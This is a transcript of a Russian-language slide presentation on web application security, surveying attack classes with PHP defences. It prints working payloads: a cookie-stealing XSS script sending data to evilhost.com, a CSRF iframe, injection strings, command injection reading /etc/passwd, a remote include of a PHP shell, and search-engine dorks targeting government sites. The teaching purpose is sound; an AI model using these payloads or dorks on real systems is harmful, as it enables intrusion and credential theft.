Безопасность веб-приложений. Так ли опасна...

Post on 11-Nov-2014

2.134 Views

Category:

Technology

0 Downloads

Preview:

Click to see full reader

DESCRIPTION

 

TRANSCRIPT

Безопасность веб-приложений. Так ли опасна виртуальная угроза?

Пропагандист и популяризатор php-джихада и медоед-стайл кодинга.Пишет SQL во вьюхах и несет $GLOBALS в массы.

Александр Татульченков

Источники проблем

• Любители мнят себя профессионалами

• Нацеленность на функциональность, а не безопасность

• Размер проекта превышает запланированный

Дайте цифры

• Жертвы атак

• Последствия

Анализ безопасности

• Что нужно защищать

• От кого нужно защищать

• Вероятность взлома и последствия

• Экономическая целесообразность

Слои безопасности

• Инфраструктура• Приложение

Аутентификация (Authentication)

• Подбор (brute force)

• Недостаточная аутентификация (Insufficient Authentication)

• Небезопасное восстановление паролей (Weak Password Recovery Validation)

Подбор (Brute force)

Автоматизированный процесс проб и ошибок, использующийся для того, чтобы угадать имя пользователя, пароль, номер кредитной карточки, ключ шифрования и т.д.

Недостаточная аутентификация (Insufficient Authentication)

Эта уязвимость возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям сервера без должной аутентификации

Небезопасное восстановление паролей (Weak Password Recovery Validation)

Эта уязвимость возникает, когда Web-сервер позволяет атакующему несанкционированно получать, модифицировать или восстанавливать пароли других пользователей

Авторизация (Authorization)

• Предсказуемое значение идентификатора сессии (Credential/Session Prediction)

• Недостаточная авторизация (Insufficient Authorization)

• Отсутствие таймаута сессии (Insufficient Session Expiration)

• Фиксация сессии (Session Fixation)

• Кража сессии (Session Hijacking)

Предсказуемое значение идентификатора сессии (Credential/Session Prediction)

Предсказуемое значение идентификатора сессии позволяет перехватывать сессии других пользователей

Недостаточная авторизация

(Insufficient Authorization)

Недостаточная авторизация возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям, доступ к которым должен быть ограничен

Отсутствие таймаута сессии

(Insufficient Session Expiration)

В случае если для идентификатора сессии или учетных данных не предусмотрен таймаут или его значение слишком велико, злоумышленник может воспользоваться старыми данными для авторизации

Фиксация сессии (Session Fixation)

Используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение

http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>

http://example/<meta%20http-equiv=Set-Cookie%20content= "sessionid=1234;%20domain= example.dom">http://example/<meta%20http-equiv=Set-Cookie%20content= "sessionid=1234;%20domain= example.dom">

Последовательность атаки

•Установление сессии

•Фиксация сессии

•Подключение к сессии

<?php

session_start();

if (!isset($_SESSION['initiated'])) {

session_regenerate_id();

$_SESSION['initiated'] = true;

}

?>

<?php

session_start();

if (!isset($_SESSION['initiated'])) {

session_regenerate_id();

$_SESSION['initiated'] = true;

}

?>

Кража сессии (Session Hijacking)

Используя данный класс атак, злоумышленник может украсть идентификатор сессии пользователя

Указывайте домен и httpOnlyУказывайте домен и httpOnly

Атаки на клиентов (Client-side Attacks)

• Подмена содержимого (Content Spoofing)

• Межсайтовое выполнение сценариев (Cross-site Scripting, XSS)

• Подделка межсайтовых запросов (Cross-site Request Forgery, CSRF)

• Расщепление HTTP-запроса (HTTP Response Splitting)

Подмена содержимого

(Content Spoofing)

Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированны Web-сервером, а не переданы из внешнего источника

http://example.com/?url=http://hacker-site.com/spoofed-content.html

<HTML>

<FRAMESET COLS="100, *">

<FRAME NAME="pr_menu" SRC="menu.html">

<FRAME NAME="pr_content" SRC=“<?php echo $_GET[‘url’];?>">

</FRAMESET>

</HTML>

<HTML>

<FRAMESET COLS="100, *">

<FRAME NAME="pr_menu" SRC="menu.html">

<FRAME NAME="pr_content" SRC=“<?php echo $_GET[‘url’];?>">

</FRAMESET>

</HTML>

<script>

if(top.self != window){

window.location = 'http://yoursite.com';

}

</script>

<script>

if(top.self != window){

window.location = 'http://yoursite.com';

}

</script>

Межсайтовое выполнение сценариев (Cross-site Scripting, XSS)

Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя

Подвиды атаки1. Активные (сохраненные) - вредоносный код сохраняется в базе/файле и напрямую выводится на уязвимой сайте в браузере. Например, в заголовках сообщений, теле постов и т.д.

2. Пассивные (отраженные) - вредоносный код передается GET/POST параметром и выводится на страницу, сохранение на сервер не происходит.

3. DOM скриптинг

<script>

var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">'; document.write(url);

</script>

<script>

var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">'; document.write(url);

</script>

+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-

ЗащитаКачественно фильтруйте пользовательские данные перед их выводом:

Не забывайте про html теги и двойные кавычки

Если это JS событие описанное в атрибуте html тега, помните, что нужно фильтровать не только кавычки, но и их html сущности &#x27; &#39; &apos; и т.д.

Если это JS код в атрибуте href тега a, то не забывайте, что при клике браузер их декодирует, а следовательно эта с виду безобидная строка тоже уязвимость:

<a href="javascript:alert('%27%29%3Bprompt%28%2FXSS%2F%29%3B%2F%2F');">lalala</a>

Но лучше, конечно же, не хранить JS код в href, для этого есть OnClick:)

Не забывайте что экранирования кавычек при выводе в теге script не достаточно

•Также следует запретить использование протоколов javascript: и data: во всех ссылках.

•Явно указывать кодировку страницы, не использовать в теге <title> контент генерируемый пользователем

•Указывать кодировку до тега <title>

Подделка межсайтовых запросов

(Cross-site Request Forgery, CSRF)

Вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP.

<script>

function doit() {

html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=‘ +

‘http://tvoydohod.com>'; window.frames["frm"].document.body.innerHTML= html;

}

</script>

<iframe name="frm" onload="doit()" width="0" height="0"></iframe>

<script>

function doit() {

html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=‘ +

‘http://tvoydohod.com>'; window.frames["frm"].document.body.innerHTML= html;

}

</script>

<iframe name="frm" onload="doit()" width="0" height="0"></iframe>

Защита

•Проверка referer

•CSRT-token

Защита

•Проверка referer

•CSRT-token

Расщепление HTTP-запроса

(HTTP Response Splitting)

При использовании данной уязвимости злоумышленник посылает серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа

<?php header(“Location: /index.php?lang=” . $_GET[‘lang’]);?>

HTTP/1.1 302 Moved Temporarily

Date: Sat, 02 Jun 2012 12:53:28 GMT

Location: http://10.1.1.1/index.php?lang=English

Server: Apache 2

271009 with

Content-Type: text/html

Set-Cookie:

PHPSID=1pMRZOiOQzZiE6Y6ii

ApqwBE!-1251019693; path=/

Connection: Close

/index.php?lang=foobar%0d%0aContent-Length: %200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a ContentLength: %201 9%0d%0a%0d%0a<html>Preved</html>

/index.php?lang=foobar%0d%0aContent-Length: %200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a ContentLength: %201 9%0d%0a%0d%0a<html>Preved</html>

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 15:26:41 GMT

Location: http://10.1.1.1/index.php?lang=foobar

Content-Length: 0

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19

<html>Preved</html>

Выполнение кода (Command Execution)

• Выполнение команд ОС (OS Commanding)

• Внедрение операторов SQL (SQL Injection)

• Внедрение операторов XPath (XPath Injection)

• LI / RI. Local Include, Remote Include

Выполнение команд ОС

(OS Commanding)

Атаки этого класса направлены на выполнение команд операционной системы на Web-сервере путем манипуляции входными данными

http://example/directory.php?dir=%3Bcat%20/etc/passwd

<?php

exec("ls -la $dir",$lines,$rc);

?>

<?php

exec("ls -la $dir",$lines,$rc);

?>

Если вы собираетесь передавать функции пользовательские данные, используйте функции escapeshellarg() или escapeshellcmd() для того, чтобы пользователи не смогли обмануть систему, запустив произвольную команду.

Если вы собираетесь передавать функции пользовательские данные, используйте функции escapeshellarg() или escapeshellcmd() для того, чтобы пользователи не смогли обмануть систему, запустив произвольную команду.

Внедрение операторов SQL

(SQL Injection)

$sql = "SELECT user FROM userslist WHERE userid=".mysql_real_escape_string($_GET['uid']);

Для проведения атаки на эту уязвимость от злоумышленника требуется просто не использовать символы " ' \x00 \r \n \x1a в векторе атаки. Например:/index.php?uid=-777 UNION SELECT password FROM userlist

Для проведения атаки на эту уязвимость от злоумышленника требуется просто не использовать символы " ' \x00 \r \n \x1a в векторе атаки. Например:/index.php?uid=-777 UNION SELECT password FROM userlist

• Mysql_real_escape_string

• Prepared statements (PDO)

• Mysql_real_escape_string

• Prepared statements (PDO)

Внедрение операторов Xpath

(Xpath Injection)

Следующее выражение на языке XPath позволяет

определить номер счета пользователя "jsmith" с паролем "Demo1234":

string(//user[name/text()='jsmith' and password/text()='Demo1234']/account/text()) string(//user[name/text()='jsmith' and password/text()='Demo1234']/account/text())

Если ввести в качестве имени пользователя следующее выражение:

' or 1=1 or ''= то получим:

string(//user[name/text()='' or 1=1 or ''='' and password/text()='foobar']/account/text())string(//user[name/text()='' or 1=1 or ''='' and password/text()='foobar']/account/text())

Local File Include / Remote File Include

Наглядный пример файловой инъекции. Как применить?

http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwd

Где файл phpshell.txt будет иметь подобное содержание

Не так часто встречаются, но имеют место быть. Пример уязвимого кода:

<?php $module = $_GET['module']; include($module); ?><?php $module = $_GET['module']; include($module); ?>

<?php echo @`$_GET[c]` ?><?php echo @`$_GET[c]` ?>

Разглашение информации (Information Disclosure)

• Индексирование директорий (Directory Indexing)

• Идентификация приложений (Web Server/Application Fingerprinting)

• Утечка информации (Information Leakage)

• Обратный путь в директориях (Path Traversal)

• Предсказуемое расположение ресурсов (Predictable Resource Location)

Логические атаки (Logical Attacks)

• Злоупотребление функциональными возможностями (Abuse of Functionality)

• Отказ в обслуживании (Denial of Service).

Злоупотребление функциональными возможностями

- Использования функций поиска для получения доступа к файлам за пределами корневой

директории Web-сервера;

- Использование функции загрузки файлов на сервер для перезаписи файлов конфигурации или

внедрения серверных сценариев;

- Реализация отказа в обслуживании путем использования функции блокировки учетной записи

при многократном вводе неправильного пароля.

Можно немножко конкретизировать под сообщение об ошибке в MySQLinurl:gov.ge inurl:php intext:sql syntax

Можно немножко конкретизировать под сообщение об ошибке в MySQLinurl:gov.ge inurl:php intext:sql syntax

inurl:gov.ru inurl:php intext:errorinurl:gov.ru inurl:php intext:error

Все сразу

inurl:"*.php?*=*"+ ( inurl:"*../*" + ( inurl:"LOAD_FILE" | inurl:"UNION" | inurl:"AND" ) ) + intext:"root:x:0:0:root:/root:**"

Все сразу

inurl:"*.php?*=*"+ ( inurl:"*../*" + ( inurl:"LOAD_FILE" | inurl:"UNION" | inurl:"AND" ) ) + intext:"root:x:0:0:root:/root:**"

Nmap («Network Mapper») это бесплатная утилита с открытым исходным кодом для анализа сети и аудита безопасности систем. Яростные противники консоли могут использовать Zenmap, это GUI к Nmap'у.Это не просто «умный» сканер, это серьезный расширяемый инструмент. Типовой пример использования:

nmap -A -T4 localhost

очень много чего умеет, но нам от него нужна одна из возможностей — определение, для каких сервисов есть эксплойты. Бесплатная версия продукта «home only»

top related